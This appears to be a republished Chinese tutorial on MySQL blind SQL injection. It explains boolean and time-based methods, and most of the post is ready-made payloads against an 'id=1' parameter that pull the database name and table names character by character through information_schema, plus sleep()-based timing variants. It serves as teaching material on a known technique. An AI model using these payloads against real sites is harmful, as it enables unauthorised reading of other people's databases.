MySQL 盲注

admin 2023年12月15日01:03:23评论18 views字数 1733阅读5分46秒阅读模式

盲注分为布尔盲注和时间盲注.

盲注需要用到的函数.

left(a,b) 从左侧截取a的前b位.
left(12345,2) --> 12

length(a) 获取a的长度.
length(12345) --> 5

substr(a,b,c)、mid(a,b,c) 从b开始 截取a的c位.
substr(12345,1,2) --> 12

ascii(a)、ord(a) 转a为ascii码.
ascii(1) --> 49

if(a,b,c) 如果a成立 执行b 否则执行c.
if(1>0,1,0) --> 1

sleep(a) 运行a秒.

benchmark(a,b) 执行b a次.

数据库.

id=1 and length(database())=8 --> True

使用 left().

id=1 and left(database(),1)='s' --> True
id=1 and left(database(),2)='se' --> True
id=1 and left(database(),3)='sec' --> True
...

使用 substr() + ascii() / mid() + ord().

id=1 and ascii(substr(database(),1,1))=115 --> True
id=1 and ascii(substr(database(),2,1))=101 --> True
id=1 and ascii(substr(database(),3,1))=99 --> True
...

如果不嫌蛋疼还可以用 hex().

id=1 and hex(substr(database(),1,1))=0x73 --> True
...

表、列、内容.

id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=4 --> Ture

使用 left().

id=1 and left((select table_name from information_schema.tables where table_schema=database() limit 2,1),1)='u' --> True
id=1 and left((select table_name from information_schema.tables where table_schema=database() limit 2,1),2)='us' --> True
id=1 and left((select table_name from information_schema.tables where table_schema=database() limit 2,1),3)='use' --> True
...

使用 substr() + ascii() / mid() + ord().

id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117 --> True
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=115 --> True
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1))=101 --> True
...

注意使用 limit n,n 限制查询条数.

以此类推.

多加了一层 if.

id=1 and if(length(database())=8,sleep(5),0)
id=1 and sleep(if(length(database())=8,5,0))

其他部分和布尔盲注没什么不同.

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日01:03:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MySQL 盲注http://cn-sec.com/archives/2299191.html

发表评论

匿名网友 填写信息